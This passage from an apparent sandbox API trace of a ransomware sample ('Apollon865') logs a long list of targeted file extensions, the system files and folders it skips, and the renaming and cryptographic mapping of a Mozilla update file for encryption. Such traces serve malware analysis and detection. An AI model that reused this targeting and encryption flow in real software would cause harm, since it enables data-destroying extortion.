	[0044.567] lstrcmpiW (lpString1="mar", lpString2="vhd") returned -1
	[0044.567] lstrlenW (lpString="vhdx") returned 4
	[0044.567] lstrcmpiW (lpString1=".mar", lpString2="vhdx") returned -1
	[0044.567] lstrlenW (lpString="avhd") returned 4
	[0044.567] lstrcmpiW (lpString1=".mar", lpString2="avhd") returned -1
	[0044.567] lstrlenW (lpString="db") returned 2
	[0044.567] lstrcmpiW (lpString1="ar", lpString2="db") returned -1
	[0044.567] lstrlenW (lpString="db2") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="db2") returned 1
	[0044.567] lstrlenW (lpString="db3") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="db3") returned 1
	[0044.567] lstrlenW (lpString="dbf") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="dbf") returned 1
	[0044.567] lstrlenW (lpString="mdf") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="mdf") returned -1
	[0044.567] lstrlenW (lpString="mdb") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="mdb") returned -1
	[0044.567] lstrlenW (lpString="sql") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="sql") returned -1
	[0044.567] lstrlenW (lpString="sqlite") returned 6
	[0044.567] lstrcmpiW (lpString1="te.mar", lpString2="sqlite") returned 1
	[0044.568] lstrlenW (lpString="sqlite3") returned 7
	[0044.568] lstrcmpiW (lpString1="ate.mar", lpString2="sqlite3") returned -1
	[0044.568] lstrlenW (lpString="sqlitedb") returned 8
	[0044.568] lstrcmpiW (lpString1="date.mar", lpString2="sqlitedb") returned -1
	[0044.568] lstrlenW (lpString="xml") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="xml") returned -1
	[0044.568] lstrlenW (lpString="$er") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="$er") returned 1
	[0044.568] lstrlenW (lpString="4dd") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="4dd") returned 1
	[0044.568] lstrlenW (lpString="4dl") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="4dl") returned 1
	[0044.568] lstrlenW (lpString="^^^") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="^^^") returned 1
	[0044.568] lstrlenW (lpString="abs") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="abs") returned 1
	[0044.568] lstrlenW (lpString="abx") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="abx") returned 1
	[0044.568] lstrlenW (lpString="accdb") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accdb") returned 1
	[0044.568] lstrlenW (lpString="accdc") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accdc") returned 1
	[0044.568] lstrlenW (lpString="accde") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accde") returned 1
	[0044.568] lstrlenW (lpString="accdr") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accdr") returned 1
	[0044.568] lstrlenW (lpString="accdt") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accdt") returned 1
	[0044.568] lstrlenW (lpString="accdw") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accdw") returned 1
	[0044.568] lstrlenW (lpString="accft") returned 5
	[0044.568] lstrcmpiW (lpString1="e.mar", lpString2="accft") returned 1
	[0044.568] lstrlenW (lpString="adb") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="adb") returned 1
	[0044.568] lstrlenW (lpString="adb") returned 3
	[0044.568] lstrcmpiW (lpString1="mar", lpString2="adb") returned 1
	[0044.569] lstrlenW (lpString="ade") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="ade") returned 1
	[0044.569] lstrlenW (lpString="adf") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="adf") returned 1
	[0044.569] lstrlenW (lpString="adn") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="adn") returned 1
	[0044.569] lstrlenW (lpString="adp") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="adp") returned 1
	[0044.569] lstrlenW (lpString="alf") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="alf") returned 1
	[0044.569] lstrlenW (lpString="ask") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="ask") returned 1
	[0044.569] lstrlenW (lpString="btr") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="btr") returned 1
	[0044.569] lstrlenW (lpString="cat") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="cat") returned 1
	[0044.569] lstrlenW (lpString="cdb") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="cdb") returned 1
	[0044.569] lstrlenW (lpString="ckp") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="ckp") returned 1
	[0044.569] lstrlenW (lpString="cma") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="cma") returned 1
	[0044.569] lstrlenW (lpString="cpd") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="cpd") returned 1
	[0044.569] lstrlenW (lpString="dacpac") returned 6
	[0044.569] lstrcmpiW (lpString1="te.mar", lpString2="dacpac") returned 1
	[0044.569] lstrlenW (lpString="dad") returned 3
	[0044.569] lstrcmpiW (lpString1="mar", lpString2="dad") returned 1
	[0044.569] lstrlenW (lpString="dadiagrams") returned 10
	[0044.569] lstrlenW (lpString="daschema") returned 8
	[0044.569] lstrcmpiW (lpString1="date.mar", lpString2="daschema") returned 1
	[0044.569] lstrlenW (lpString="db-journal") returned 10
	[0044.569] lstrlenW (lpString="db-shm") returned 6
	[0044.569] lstrcmpiW (lpString1="te.mar", lpString2="db-shm") returned 1
	[0044.569] lstrlenW (lpString="db-wal") returned 6
	[0044.569] lstrcmpiW (lpString1="te.mar", lpString2="db-wal") returned 1
	[0044.570] lstrlenW (lpString="dbc") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dbc") returned 1
	[0044.570] lstrlenW (lpString="dbs") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dbs") returned 1
	[0044.570] lstrlenW (lpString="dbt") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dbt") returned 1
	[0044.570] lstrlenW (lpString="dbv") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dbv") returned 1
	[0044.570] lstrlenW (lpString="dbx") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dbx") returned 1
	[0044.570] lstrlenW (lpString="dcb") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dcb") returned 1
	[0044.570] lstrlenW (lpString="dct") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dct") returned 1
	[0044.570] lstrlenW (lpString="dcx") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dcx") returned 1
	[0044.570] lstrlenW (lpString="ddl") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="ddl") returned 1
	[0044.570] lstrlenW (lpString="dlis") returned 4
	[0044.570] lstrcmpiW (lpString1=".mar", lpString2="dlis") returned -1
	[0044.570] lstrlenW (lpString="dp1") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dp1") returned 1
	[0044.570] lstrlenW (lpString="dqy") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dqy") returned 1
	[0044.570] lstrlenW (lpString="dsk") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dsk") returned 1
	[0044.570] lstrlenW (lpString="dsn") returned 3
	[0044.570] lstrcmpiW (lpString1="mar", lpString2="dsn") returned 1
	[0044.570] lstrlenW (lpString="dtsx") returned 4
	[0044.570] lstrcmpiW (lpString1=".mar", lpString2="dtsx") returned -1
	[0044.570] lstrlenW (lpString="dxl") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="dxl") returned 1
	[0044.571] lstrlenW (lpString="eco") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="eco") returned 1
	[0044.571] lstrlenW (lpString="ecx") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="ecx") returned 1
	[0044.571] lstrlenW (lpString="edb") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="edb") returned 1
	[0044.571] lstrlenW (lpString="epim") returned 4
	[0044.571] lstrcmpiW (lpString1=".mar", lpString2="epim") returned -1
	[0044.571] lstrlenW (lpString="fcd") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fcd") returned 1
	[0044.571] lstrlenW (lpString="fdb") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fdb") returned 1
	[0044.571] lstrlenW (lpString="fic") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fic") returned 1
	[0044.571] lstrlenW (lpString="flexolibrary") returned 12
	[0044.571] lstrlenW (lpString="fm5") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fm5") returned 1
	[0044.571] lstrlenW (lpString="fmp") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fmp") returned 1
	[0044.571] lstrlenW (lpString="fmp12") returned 5
	[0044.571] lstrcmpiW (lpString1="e.mar", lpString2="fmp12") returned -1
	[0044.571] lstrlenW (lpString="fmpsl") returned 5
	[0044.571] lstrcmpiW (lpString1="e.mar", lpString2="fmpsl") returned -1
	[0044.571] lstrlenW (lpString="fol") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fol") returned 1
	[0044.571] lstrlenW (lpString="fp3") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fp3") returned 1
	[0044.571] lstrlenW (lpString="fp4") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fp4") returned 1
	[0044.571] lstrlenW (lpString="fp5") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fp5") returned 1
	[0044.571] lstrlenW (lpString="fp7") returned 3
	[0044.571] lstrcmpiW (lpString1="mar", lpString2="fp7") returned 1
	[0044.571] lstrlenW (lpString="fpt") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="fpt") returned 1
	[0044.572] lstrlenW (lpString="frm") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="frm") returned 1
	[0044.572] lstrlenW (lpString="gdb") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="gdb") returned 1
	[0044.572] lstrlenW (lpString="gdb") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="gdb") returned 1
	[0044.572] lstrlenW (lpString="grdb") returned 4
	[0044.572] lstrcmpiW (lpString1=".mar", lpString2="grdb") returned -1
	[0044.572] lstrlenW (lpString="gwi") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="gwi") returned 1
	[0044.572] lstrlenW (lpString="hdb") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="hdb") returned 1
	[0044.572] lstrlenW (lpString="his") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="his") returned 1
	[0044.572] lstrlenW (lpString="ib") returned 2
	[0044.572] lstrcmpiW (lpString1="ar", lpString2="ib") returned -1
	[0044.572] lstrlenW (lpString="idb") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="idb") returned 1
	[0044.572] lstrlenW (lpString="ihx") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="ihx") returned 1
	[0044.572] lstrlenW (lpString="itdb") returned 4
	[0044.572] lstrcmpiW (lpString1=".mar", lpString2="itdb") returned -1
	[0044.572] lstrlenW (lpString="itw") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="itw") returned 1
	[0044.572] lstrlenW (lpString="jet") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="jet") returned 1
	[0044.572] lstrlenW (lpString="jtx") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="jtx") returned 1
	[0044.572] lstrlenW (lpString="kdb") returned 3
	[0044.572] lstrcmpiW (lpString1="mar", lpString2="kdb") returned 1
	[0044.572] lstrlenW (lpString="kexi") returned 4
	[0044.572] lstrcmpiW (lpString1=".mar", lpString2="kexi") returned -1
	[0044.572] lstrlenW (lpString="kexic") returned 5
	[0044.572] lstrcmpiW (lpString1="e.mar", lpString2="kexic") returned -1
	[0044.572] lstrlenW (lpString="kexis") returned 5
	[0044.573] lstrcmpiW (lpString1="e.mar", lpString2="kexis") returned -1
	[0044.573] lstrlenW (lpString="lgc") returned 3
	[0044.573] lstrcmpiW (lpString1="mar", lpString2="lgc") returned 1
	[0044.573] lstrlenW (lpString="lwx") returned 3
	[0044.573] lstrcmpiW (lpString1="mar", lpString2="lwx") returned 1
	[0044.573] lstrlenW (lpString="maf") returned 3
	[0044.573] lstrcmpiW (lpString1="mar", lpString2="maf") returned 1
	[0044.573] lstrlenW (lpString="maq") returned 3
	[0044.573] lstrcmpiW (lpString1="mar", lpString2="maq") returned 1
	[0044.573] lstrlenW (lpString="mar") returned 3
	[0044.573] lstrcmpiW (lpString1="mar", lpString2="mar") returned 0
	[0044.573] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.Apollon865") returned 108
	[0044.573] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar.apollon865"), dwFlags=0x1) returned 1
	[0044.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0044.576] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=600000) returned 1
	[0044.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0044.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0044.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0044.576] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0044.577] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.577] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.577] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x92ac0, lpName=0x0) returned 0x150
	[0044.579] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x92ac0) returned 0x4d0000
	[0045.169] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0045.170] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0045.170] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0045.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0045.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0045.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0045.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.170] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0045.176] CloseHandle (hObject=0x150) returned 1
	[0045.176] CloseHandle (hObject=0x15c) returned 1
	[0045.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0045.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0045.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="Apollon865.txt.exe") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2=".") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="..") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="windows") returned -1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="bootmgr") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="temp") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="pagefile.sys") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="boot") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="ids.txt") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="ntuser.dat") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="perflogs") returned 1
	[0045.179] lstrcmpiW (lpString1="update.status", lpString2="MSBuild") returned 1
	[0045.179] lstrlenW (lpString="update.status") returned 13
	[0045.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar") returned 97
	[0045.179] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="update.status" | out: lpString1="update.status") returned="update.status"
	[0045.179] lstrlenW (lpString="update.status") returned 13
	[0045.179] lstrlenW (lpString="Apollon865") returned 10
	[0045.179] lstrcmpiW (lpString1="ate.status", lpString2="Apollon865") returned 1
	[0045.180] lstrlenW (lpString=".dll") returned 4
	[0045.180] lstrcmpiW (lpString1="update.status", lpString2=".dll") returned 1
	[0045.180] lstrlenW (lpString=".lnk") returned 4
	[0045.180] lstrcmpiW (lpString1="update.status", lpString2=".lnk") returned 1
	[0045.180] lstrlenW (lpString=".ini") returned 4
	[0045.180] lstrcmpiW (lpString1="update.status", lpString2=".ini") returned 1
	[0045.180] lstrlenW (lpString=".sys") returned 4
	[0045.180] lstrcmpiW (lpString1="update.status", lpString2=".sys") returned 1
	[0045.180] lstrlenW (lpString="update.status") returned 13
	[0045.180] lstrlenW (lpString="bak") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="bak") returned 1
	[0045.180] lstrlenW (lpString="ba_") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="ba_") returned 1
	[0045.180] lstrlenW (lpString="dbb") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="dbb") returned 1
	[0045.180] lstrlenW (lpString="vmdk") returned 4
	[0045.180] lstrcmpiW (lpString1="atus", lpString2="vmdk") returned -1
	[0045.180] lstrlenW (lpString="rar") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="rar") returned 1
	[0045.180] lstrlenW (lpString="zip") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="zip") returned -1
	[0045.180] lstrlenW (lpString="tgz") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="tgz") returned 1
	[0045.180] lstrlenW (lpString="vbox") returned 4
	[0045.180] lstrcmpiW (lpString1="atus", lpString2="vbox") returned -1
	[0045.180] lstrlenW (lpString="vdi") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="vdi") returned -1
	[0045.180] lstrlenW (lpString="vhd") returned 3
	[0045.180] lstrcmpiW (lpString1="tus", lpString2="vhd") returned -1
	[0045.180] lstrlenW (lpString="vhdx") returned 4
	[0045.180] lstrcmpiW (lpString1="atus", lpString2="vhdx") returned -1
	[0045.180] lstrlenW (lpString="avhd") returned 4
	[0045.180] lstrcmpiW (lpString1="atus", lpString2="avhd") returned -1
	[0045.180] lstrlenW (lpString="db") returned 2
	[0045.181] lstrcmpiW (lpString1="us", lpString2="db") returned 1
	[0045.181] lstrlenW (lpString="db2") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="db2") returned 1
	[0045.181] lstrlenW (lpString="db3") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="db3") returned 1
	[0045.181] lstrlenW (lpString="dbf") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="dbf") returned 1
	[0045.181] lstrlenW (lpString="mdf") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="mdf") returned 1
	[0045.181] lstrlenW (lpString="mdb") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="mdb") returned 1
	[0045.181] lstrlenW (lpString="sql") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="sql") returned 1
	[0045.181] lstrlenW (lpString="sqlite") returned 6
	[0045.181] lstrcmpiW (lpString1="status", lpString2="sqlite") returned 1
	[0045.181] lstrlenW (lpString="sqlite3") returned 7
	[0045.181] lstrcmpiW (lpString1=".status", lpString2="sqlite3") returned -1
	[0045.181] lstrlenW (lpString="sqlitedb") returned 8
	[0045.181] lstrcmpiW (lpString1="e.status", lpString2="sqlitedb") returned -1
	[0045.181] lstrlenW (lpString="xml") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="xml") returned -1
	[0045.181] lstrlenW (lpString="$er") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="$er") returned 1
	[0045.181] lstrlenW (lpString="4dd") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="4dd") returned 1
	[0045.181] lstrlenW (lpString="4dl") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="4dl") returned 1
	[0045.181] lstrlenW (lpString="^^^") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="^^^") returned 1
	[0045.181] lstrlenW (lpString="abs") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="abs") returned 1
	[0045.181] lstrlenW (lpString="abx") returned 3
	[0045.181] lstrcmpiW (lpString1="tus", lpString2="abx") returned 1
	[0045.181] lstrlenW (lpString="accdb") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accdb") returned 1
	[0045.182] lstrlenW (lpString="accdc") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accdc") returned 1
	[0045.182] lstrlenW (lpString="accde") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accde") returned 1
	[0045.182] lstrlenW (lpString="accdr") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accdr") returned 1
	[0045.182] lstrlenW (lpString="accdt") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accdt") returned 1
	[0045.182] lstrlenW (lpString="accdw") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accdw") returned 1
	[0045.182] lstrlenW (lpString="accft") returned 5
	[0045.182] lstrcmpiW (lpString1="tatus", lpString2="accft") returned 1
	[0045.182] lstrlenW (lpString="adb") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="adb") returned 1
	[0045.182] lstrlenW (lpString="adb") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="adb") returned 1
	[0045.182] lstrlenW (lpString="ade") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="ade") returned 1
	[0045.182] lstrlenW (lpString="adf") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="adf") returned 1
	[0045.182] lstrlenW (lpString="adn") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="adn") returned 1
	[0045.182] lstrlenW (lpString="adp") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="adp") returned 1
	[0045.182] lstrlenW (lpString="alf") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="alf") returned 1
	[0045.182] lstrlenW (lpString="ask") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="ask") returned 1
	[0045.182] lstrlenW (lpString="btr") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="btr") returned 1
	[0045.182] lstrlenW (lpString="cat") returned 3
	[0045.182] lstrcmpiW (lpString1="tus", lpString2="cat") returned 1
	[0045.182] lstrlenW (lpString="cdb") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="cdb") returned 1
	[0045.183] lstrlenW (lpString="ckp") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="ckp") returned 1
	[0045.183] lstrlenW (lpString="cma") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="cma") returned 1
	[0045.183] lstrlenW (lpString="cpd") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="cpd") returned 1
	[0045.183] lstrlenW (lpString="dacpac") returned 6
	[0045.183] lstrcmpiW (lpString1="status", lpString2="dacpac") returned 1
	[0045.183] lstrlenW (lpString="dad") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dad") returned 1
	[0045.183] lstrlenW (lpString="dadiagrams") returned 10
	[0045.183] lstrcmpiW (lpString1="ate.status", lpString2="dadiagrams") returned -1
	[0045.183] lstrlenW (lpString="daschema") returned 8
	[0045.183] lstrcmpiW (lpString1="e.status", lpString2="daschema") returned 1
	[0045.183] lstrlenW (lpString="db-journal") returned 10
	[0045.183] lstrcmpiW (lpString1="ate.status", lpString2="db-journal") returned -1
	[0045.183] lstrlenW (lpString="db-shm") returned 6
	[0045.183] lstrcmpiW (lpString1="status", lpString2="db-shm") returned 1
	[0045.183] lstrlenW (lpString="db-wal") returned 6
	[0045.183] lstrcmpiW (lpString1="status", lpString2="db-wal") returned 1
	[0045.183] lstrlenW (lpString="dbc") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dbc") returned 1
	[0045.183] lstrlenW (lpString="dbs") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dbs") returned 1
	[0045.183] lstrlenW (lpString="dbt") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dbt") returned 1
	[0045.183] lstrlenW (lpString="dbv") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dbv") returned 1
	[0045.183] lstrlenW (lpString="dbx") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dbx") returned 1
	[0045.183] lstrlenW (lpString="dcb") returned 3
	[0045.183] lstrcmpiW (lpString1="tus", lpString2="dcb") returned 1
	[0045.183] lstrlenW (lpString="dct") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dct") returned 1
	[0045.184] lstrlenW (lpString="dcx") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dcx") returned 1
	[0045.184] lstrlenW (lpString="ddl") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="ddl") returned 1
	[0045.184] lstrlenW (lpString="dlis") returned 4
	[0045.184] lstrcmpiW (lpString1="atus", lpString2="dlis") returned -1
